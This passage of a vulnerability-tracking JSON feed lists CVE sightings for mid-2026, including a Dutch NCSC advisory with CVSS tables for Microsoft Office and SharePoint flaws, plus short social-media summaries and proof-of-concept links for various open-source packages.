\n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-17T10:00:48.716870Z"}, {"uuid": "abf4cf00-b51c-4c9d-9b0b-15428bc0b241", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54511", "type": "published-proof-of-concept", "source": "https://github.com/dahlia/logtape/security/advisories/GHSA-8h6h-x5pq-56fq", "content": "", "creation_timestamp": "2026-08-26T16:35:13.646039Z"}, {"uuid": "fde47eb1-4a3a-4d54-ad85-d1758b66b8d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nUPDATE: \nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-17T10:00:50.525500Z"}, {"uuid": "7545479a-29bf-4810-ac60-4f6fab154340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54519", "type": "seen", "source": "Telegram/uxGFUVPy3TOzkodNgeg8vepR-kYpq91Dg5jOn-NGrDlDjCc", "content": "", "creation_timestamp": "2026-07-18T00:00:41.264520Z"}, {"uuid": "83ceb13d-7ec7-47a6-9fb0-0e387c2a8750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54523", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqtt7pkz5a2v", "content": "Kyverno vulnerability CVE-2026-54523 (CVSS 9.6) is public with PoC exploit code. It lets a tenant gain admin in any namespace. Update to v1.18.2.\n\n#Kyverno #CVE202654523 #PrivilegeEscalation #Kubernetes #CyberSecurity", "creation_timestamp": "2026-07-17T13:11:29.004847Z"}, {"uuid": "d580218b-51e8-47b5-9b1b-983714e35df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54122", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqtzoiudq62s", "content": "\ud83d\udccc CVE-2026-54122 - Heap-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code locally. https://www.cyberhub.blog/cves/CVE-2026-54122", "creation_timestamp": "2026-07-17T15:07:07.347239Z"}, {"uuid": "a84114f1-28aa-4125-9b20-3c7b9e80cec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54758", "type": "seen", "source": "https://www.acn.gov.it/portale/w/notepad-poc-pubblici-per-lo-sfruttamento-delle-cve-2026-57233-cve-2026-52886-e-cve-2026-54758", "content": "", "creation_timestamp": "2026-07-17T16:15:07.665040Z"}, {"uuid": "5342957b-8c45-437b-943a-30df4025d1d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54733", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116936433017678779", "content": "It is possible to see elevated activities targeting microsoft o365-moodle (CVE-2026-54733) https://vuldb.com/vuln/379542/cti", "creation_timestamp": "2026-07-17T17:12:45.459468Z"}, {"uuid": "17ff7c47-1e64-4af6-83ff-83229f9d2146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54523", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116936632297942265", "content": "\u203c\ufe0f New Dark Web Informer Blog Post!\nTitle: One Namespace String to kube-system: Cross-Namespace Privilege Escalation in Kyverno (CVE-2026-54523)\nLink: https://darkwebinformer.com/one-namespace-string-to-kube-system-cross-namespace-privilege-escalation-in-kyverno-cve-2026-54523/\n\ud83d\udca5 Get early visibility into underground claims, including unblurred screenshots, before they turn into headlines: https://darkwebinformer.com/pricing", "creation_timestamp": "2026-07-17T18:03:26.413269Z"}, {"uuid": "2e230281-64e5-43aa-9e9b-751d37fd468b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54234", "type": "published-proof-of-concept", "source": "https://github.com/vllm-project/vllm/security/advisories/GHSA-8wr5-jm2h-8r4f", "content": "", "creation_timestamp": "2026-07-17T18:35:04.519974Z"}, {"uuid": "1ca0db6d-404f-4b1b-8f31-a8560aa772d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54496", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquibd7ypf22", "content": "CVE-2026-54496 - Missing copy constraint in halo2_gadgets variable-base scalar multiplication allows under-constrained base, breaking Orchard Action circuit soundness\nCVE ID : CVE-2026-54496\n \n Published : July 17, 2026, 5:17 p.m. | 24\u00a0minutes ago\n \n Description : ZEBRA is a Z...", "creation_timestamp": "2026-07-17T19:28:11.102718Z"}, {"uuid": "248dffad-0481-4f17-8ec4-ee70afd4f502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54546", "type": "published-proof-of-concept", "source": "https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-vqrw-qphh-p34v", "content": "", "creation_timestamp": "2026-07-17T20:35:03.982613Z"}, {"uuid": "4832af8c-6740-4367-9c14-212648c3db9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54547", "type": "published-proof-of-concept", "source": "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56", "content": "", "creation_timestamp": "2026-07-17T20:35:06.334078Z"}, {"uuid": "4fa2a786-9de6-46fe-af8b-d5842e16c7d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54549", "type": "published-proof-of-concept", "source": "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-45gf-fjxp-cjpq", "content": "", "creation_timestamp": "2026-07-17T20:35:08.685980Z"}, {"uuid": "3cc18850-cd02-4e09-a128-ba76295ff57d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54498", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mquqsjj7zu2c", "content": "\ud83d\udfe0 CVE-2026-54498 - High (8.7)\n\nview_component is a framework for building reusable, testable, and encapsulated view components i...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54498/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-17T22:00:58.556909Z"}, {"uuid": "1f8b527c-ebe1-40cb-a405-ed2e3432179a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54570", "type": "published-proof-of-concept", "source": "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg", "content": "", "creation_timestamp": "2026-07-17T22:35:05.889994Z"}, {"uuid": "7356027c-9f3e-4480-b4ab-b37fd986343d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54567", "type": "published-proof-of-concept", "source": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg", "content": "", "creation_timestamp": "2026-07-17T22:35:08.204309Z"}, {"uuid": "c7f85e19-eb01-4351-9c73-e3ab047aaafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54466", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquwndmen52g", "content": "CVE-2026-54466 - websocket-driver: Message corruption via abuse of protocol length headers\nCVE ID : CVE-2026-54466\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : websocket-driver is a WebSocket protocol handler with pluggable I/O. Prior to 0...", "creation_timestamp": "2026-07-17T23:45:26.553592Z"}, {"uuid": "af9a2d62-921e-4c97-87e0-8a8bf72b4be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54244", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquwsujrnt22", "content": "CVE-2026-54244 - Statamic: Incorrect authorization lets view-only users submit Live Preview content reserved for editors\nCVE ID : CVE-2026-54244\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : Statamic is a Laravel and Git powered content man...", "creation_timestamp": "2026-07-17T23:48:32.127719Z"}, {"uuid": "310b37f4-4fb2-44ce-ae3c-70474b40d033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54242", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquwvuatdz2b", "content": "CVE-2026-54242 - Statamic: Server-Side Request Forgery via Glide (DNS rebinding)\nCVE ID : CVE-2026-54242\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : Statamic is a Laravel and Git powered content management system (CMS). Prior to 5.73.24 a...", "creation_timestamp": "2026-07-17T23:50:12.556713Z"}, {"uuid": "e2b84ba3-3497-4173-97b3-f2f0ec04aa12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54243", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquwyzxvhl2b", "content": "CVE-2026-54243 - Statamic: CSV formula injection in form submission exports\nCVE ID : CVE-2026-54243\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : Statamic is a Laravel and Git powered content management system (CMS). Prior to 5.73.24 and 6....", "creation_timestamp": "2026-07-17T23:51:58.987658Z"}, {"uuid": "38487739-d584-4435-b7b2-d5c9ce63cd19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54490", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqux4fm3a62g", "content": "CVE-2026-54490 - websocket-driver: Resource limit bypass via message compression\nCVE ID : CVE-2026-54490\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : websocket-driver is a WebSocket protocol handler with pluggable I/O. Prior to 0.7.5, if t...", "creation_timestamp": "2026-07-17T23:53:51.895626Z"}, {"uuid": "f535de54-2048-41c1-96bc-9a0ccfee4473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54335", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqux7yi36n2j", "content": "CVE-2026-54335 - Feathersjs: Prototype pollution in @feathersjs/commons _.merge via JSON-parsed __proto__\nCVE ID : CVE-2026-54335\n \n Published : July 17, 2026, 10:17 p.m. | 1\u00a0hour, 20\u00a0minutes ago\n \n Description : Feathersjs is a framework for creating web APIs and real-time ap...", "creation_timestamp": "2026-07-17T23:55:52.379401Z"}, {"uuid": "126a8ff0-b33a-43ee-a24c-43e8a47174d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54335", "type": "seen", "source": "https://bsky.app/profile/amadeustech.bsky.social/post/3mquxhjsacv2x", "content": "The recent CVE-2026-54335 vulnerability in Feathersjs highlights the importance of secure coding practices in high-performance trading infrastructure, particularly in our Cortex Trading Systems where we utilize optimized CLOB architecture to minimize latency and maximize eff", "creation_timestamp": "2026-07-18T00:00:07.386999Z"}, {"uuid": "30978977-8da3-48c4-86c0-98a6b44ff1ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54498", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquxhxtw3o2g", "content": "CVE-2026-54498 - view_component: around_render HTML-Safety Bypass\nCVE ID : CVE-2026-54498\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : view_component is a framework for building reusable, testable, and encapsulated view components in Ruby ...", "creation_timestamp": "2026-07-18T00:00:20.144958Z"}, {"uuid": "e8a5ba9c-2886-46fc-95ce-8b5d362ba1d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "published-proof-of-concept", "source": "Telegram/W5amUvjZQLp7x5QJxedoGRrfTMixYmkVE9L_7wilXlBm52k", "content": "", "creation_timestamp": "2026-07-18T00:00:21.914081Z"}, {"uuid": "f9f3cd7e-1780-40ae-b8bb-ee192773bfa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "published-proof-of-concept", "source": "Telegram/KAYuHSInUTyY5sd__HqTfJ-t-JAYNMtvmTlSN5y1liuC5CE", "content": "", "creation_timestamp": "2026-07-18T00:00:22.369771Z"}, {"uuid": "5484ff03-e7e0-4cc0-bdd8-eea6a7a18b2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "published-proof-of-concept", "source": "Telegram/cpiqXd7ZGBh_Hd-K40OMQX8onVjmrXicBJVv84gtdkLX7iA", "content": "", "creation_timestamp": "2026-07-18T00:00:22.172137Z"}, {"uuid": "d4c166ef-849b-416d-b436-d18ba3cf2620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "published-proof-of-concept", "source": "Telegram/3jycQz5KNEahntijqQf2WU64p6SNtb6OBS8EDKGb5rd5ChI", "content": "", "creation_timestamp": "2026-07-18T00:00:22.203017Z"}, {"uuid": "f2fcd29c-df19-41f6-9ac4-a8092a529c8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "published-proof-of-concept", "source": "Telegram/Rc0b9T17FJVJElH6QZhazeHK_5sevkoWVsl-YVplQMonaEk", "content": "", "creation_timestamp": "2026-07-18T00:00:24.458945Z"}, {"uuid": "c00f977e-ec97-4c23-8d21-af66fd08c9c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "published-proof-of-concept", "source": "Telegram/TEdnFjEKS3swNxbVpw8DxCu_Qb9xpCKjEBb-BvgmHVTvT6s", "content": "", "creation_timestamp": "2026-07-18T00:00:41.463070Z"}, {"uuid": "0f00ca8f-1168-4bcb-91b4-227c60dc8732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "published-proof-of-concept", "source": "Telegram/IYbPLk4ERTEBv3PHVDATQd8EaZ4Sc0OJ99RE8uvxfU7J1W8", "content": "", "creation_timestamp": "2026-07-18T00:00:43.595010Z"}, {"uuid": "081eccce-2139-4727-866d-a6e51ef62554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "published-proof-of-concept", "source": "Telegram/BCI7VnJXXmV-Lqe80VVMpDehODrEO3pQ0iamK17egdwDArY", "content": "", "creation_timestamp": "2026-07-18T00:00:42.698913Z"}, {"uuid": "2138cdab-e4b3-4c3e-b901-c500f0d4be6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "seen", "source": "Telegram/uxGFUVPy3TOzkodNgeg8vepR-kYpq91Dg5jOn-NGrDlDjCc", "content": "", "creation_timestamp": "2026-07-18T00:00:41.050040Z"}, {"uuid": "b4d8a9f3-8957-48f0-ad07-044c3312e68b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54163", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquxwpunrt2e", "content": "CVE-2026-54163 - secure_headers: CSP directive injection via sandbox, plugin_types, and report_to when given untrusted input\nCVE ID : CVE-2026-54163\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : secure_headers manages application of securit...", "creation_timestamp": "2026-07-18T00:08:35.182885Z"}, {"uuid": "1e456345-3b16-4c7f-bfcc-72e2a657c189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54497", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquz4ycoui23", "content": "CVE-2026-54497 - view_component: Reused Component Instances Retain Stale Render Context\nCVE ID : CVE-2026-54497\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : view_component is a framework for building reusable, testable, and encapsulated vi...", "creation_timestamp": "2026-07-18T00:29:59.143437Z"}, {"uuid": "016721ec-a8cc-4b0f-b5a3-76071188d599", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54159", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquzxtp3m724", "content": "CVE-2026-54159 - ps_facetedsearch: PHP Object Injection in faceted search cache allows unauthenticated RCE\nCVE ID : CVE-2026-54159\n \n Published : July 17, 2026, 9:17 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : PrestaShop ps_facetedsearch is a module that adds layered navig...", "creation_timestamp": "2026-07-18T00:45:00.265104Z"}, {"uuid": "9d983280-279d-4140-96dc-d36d530863bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden 